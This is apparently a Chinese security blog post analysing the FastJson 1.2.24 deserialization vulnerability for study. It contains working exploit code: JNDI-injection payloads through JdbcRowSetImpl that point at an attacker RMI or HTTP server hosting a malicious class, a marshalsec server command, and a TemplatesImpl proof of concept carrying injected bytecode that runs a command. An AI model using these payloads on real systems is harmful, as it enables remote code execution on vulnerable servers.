FastJson是一个Java语言编写的高性能功能完善的JSON库,可以将数据在JSON和Java Object之间互相转换,涉及到序列化和反序列化的操作,由此从1.2.24版本便开始爆出反序列化漏洞
环境搭建
创建Maven项目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.20.0-GA</version> </dependency> <dependency> <groupId>commons-codec</groupId> <artifactId>commons-codec</artifactId> <version>1.10</version> </dependency>
漏洞分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
import com.alibaba.fastjson.JSON; public class Test { public static void main( String[] args ) { User user=new User(); user.setName("l3yx"); String user_json= JSON.toJSONString(user); System.out.println(user_json); Object user1=JSON.parse(user_json); Object user2=JSON.parseObject(user_json,User.class); System.out.println(user1.getClass().getName()); System.out.println(user2.getClass().getName()); System.out.println(((User)user2).getName()); } } class User { private String name; public String getName() { return name; } public void setName(String name) { this.name = name; } }
可以看到parse(String)
将JSON字符串解析成了一个JSONObject对象,parseObject(String,Class)
将JSON字符串反序列化为一个相应的Java对象
另外FastJson还提供一个特殊字符段@type
,通过这个字段可以指定反序列化任意类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
import com.alibaba.fastjson.JSON; public class Test { public static void main( String[] args ) { String user_json="{\"@type\":\"org.example.User\",\"name\":\"l3yx\"}"; System.out.println(user_json); Object user1=JSON.parse(user_json); Object user2=JSON.parseObject(user_json,User.class); System.out.println(user1.getClass().getName()); System.out.println(user2.getClass().getName()); System.out.println(((User)user2).getName()); } } class User { private String name; public String getName() { return name; } public void setName(String name) { System.out.println("setter..."); this.name = name; } }
而且在反序列化的同时调用了对象的set方法,说明FastJson在对JSON字符串反序列化的时候,会尝试通过setter方法对对象的属性进行赋值
那么在这种情况下,找到有可以利用的setter方法的类,就能完成该漏洞的利用
在满足一定条件下也会调用getter方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import java.util.Hashtable; public class Test { public static void main(String[] args) throws Exception { String json="{\"table\":{}}"; System.out.println(json); Foo foo=JSON.parseObject(json,Foo.class, Feature.SupportNonPublicField); } } class Foo{ private Hashtable table; public Hashtable getTable() { System.out.println("getter"); return table; } }
具体的规则参考于 JAVA反序列化—FastJson组件
JdbcRowSetImpl+JNDI Reference Payload
先看一下JdbcRowSetImpl
的源码
该类的connect()
函数中325行和326行是一段JNDI查找远程对象的代码,如果this.getDataSourceName()
可控并且能触发connect()
函数的话就有可能实现JNDI注入达到RCE
setDataSourceName(String var1)
函数赋值dataSourceName
setAutoCommit(boolean var1)
函数调用了connect()
之前说到FastJson会自动调用setter来完成对对象属性的赋值,所以这里payload
1 2 3 4 5
{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://ip:port/Evil", "autoCommit":true }
首先@type
字段会指定反序列化com.sun.rowset.JdbcRowSetImpl
类
然后调用setDataSourceName(String var1)
对dataSourceName
赋值,这里赋值为恶意的RMI服务地址
最后调用setAutoCommit(boolean var1)
从而调用connect()
触发JNDI注入,autoCommit
的值类型是boolean
,这里设置true
或false
都可,JNDI注入部分可以参考深入理解JNDI注入与Java反序列化漏洞利用
下面构造一个恶意类,其中执行命令的代码可以放在构造方法,getObjectInstance()
方法或者静态代码块中
1 2 3 4 5 6 7 8 9 10
import java.io.IOException; public class Evil { static{ try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { } } }
编译好的class文件放于web服务器
通过RMI服务返回一个JNDI Naming Reference,受害者解码Reference时会去我们指定的Codebase远程地址加载Factory类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.*; public class App { public static void main( String[] args ) throws Exception { System.setProperty("java.rmi.server.hostname","ip");//ip为服务器外网地址 Registry registry = LocateRegistry.createRegistry(9999); String remote_class_server = "http://ip:80/";//恶意对象地址 Reference reference = new Reference("Evil", "Evil", remote_class_server); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("Evil", referenceWrapper); System.out.println("start..."); } }
或者借助marshalsec 项目,直接启动一个RMI服务器,监听9999端口,并制定加载远程类Evil.class
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip/#Evil" 9999
最后运行漏洞代码加载payload
在高版本中Java限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。默认不允许从远程的Codebase加载Reference工厂类。如果需要开启 RMI Registry 或者 COS Naming Service Provider的远程类加载功能,需要将相关属性值设置为true
1 2 3 4 5 6 7 8 9 10 11 12 13
import com.alibaba.fastjson.JSON; public class Test { public static void main( String[] args ) throws Exception { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); String payload = "{\n" + " \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" + " \"dataSourceName\":\"rmi://ip:9999/Evil\",\n" + " \"autoCommit\":true\n" + "}"; JSON.parseObject(payload); } }
TemplatesImpl
还是先放上POC,关于TemplatesImpl
的构造在学习JDK7u21Gadgets时已经接触过了 JDK7u21反序列化Gadgets
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.*; import javassist.*; import org.apache.commons.codec.binary.Base64; public class Demo { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault();//ClassPool对象是一个表示class文件的CtClass对象的容器 CtClass cc = pool.makeClass("Evil");//创建Evil类 cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//设置Evil类的父类为AbstractTranslet CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//创建无参构造函数 cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }");//设置无参构造函数体 cc.addConstructor(cons);//添加构造函数 byte[] byteCode=cc.toBytecode();//toBytecode得到Evil类的字节码 String evilCode=Base64.encodeBase64String(byteCode); String poc="{\n" + "\"@type\":\""+TemplatesImpl.class.getName()+"\",\n" + "\"_bytecodes\":[\""+evilCode+"\"],\n" + "\"_name\":\"xx\",\n" + "\"_tfactory\":{ },\n" + "\"_outputProperties\":{ }\n" + "}"; System.out.println(poc); JSON.parse(poc,Feature.SupportNonPublicField); } }
其中还有几点需要梳理一下
Feature.SupportNonPublicField
在漏洞触发时必须传入Feature.SupportNonPublicField
参数,这也成了该条利用链的限制,导致不是很通用
1
JSON.parse(poc,Feature.SupportNonPublicField);
这是因为POC中有一些private属性,而且TemplatesImpl
类中没有相应的set方法,所以需要传入该参数让其支持非public属性,当然如果private属性存在相应set方法的话,FastJson会自动调用其set方法完成赋值,不需要Feature.SupportNonPublicField
参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; public class Test { public static void main(String[] args) throws Exception { String json="{\"name\":\"l3yx\",\"age\":20}"; System.out.println(json); Person person1=JSON.parseObject(json,Person.class, Feature.SupportNonPublicField); Person person2=JSON.parseObject(json,Person.class); System.out.println(person1); System.out.println(person2); } } class Person{ private int age; public String name; Person(){ } Person(int age,String name){ this.age=age; this.name=name; } @Override public String toString() { return "Person{" + "age=" + age + ", name='" + name + '\'' + '}'; } }
_outputProperties
FastJson对变量赋值的逻辑在parseField
中实现
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField
key即为传入的属性名,经过了smartMatch
处理
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch
会替换掉字段key中的_
和-
,从而 _outputProperties
和 getOutputProperties()
可以成功关联上
所以删除掉POC中的_
也是没有影响的
_bytecodes
_bytecodes
参数是以base64编码传入的,FastJson提取byte[]数组字段值时会进行Base64解码
com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze
com.alibaba.fastjson.parser.JSONScanner#bytesValue
参考
深入理解JNDI注入与Java反序列化漏洞利用
Fastjson 1.2.24反序列化漏洞分析
JAVA反序列化 - FastJson组件
fastjson 1.2.24 反序列化导致任意命令执行漏洞
Fastjson 流程分析及 RCE 分析
FastJson 反序列化学习
- source: l3yx's blog
评论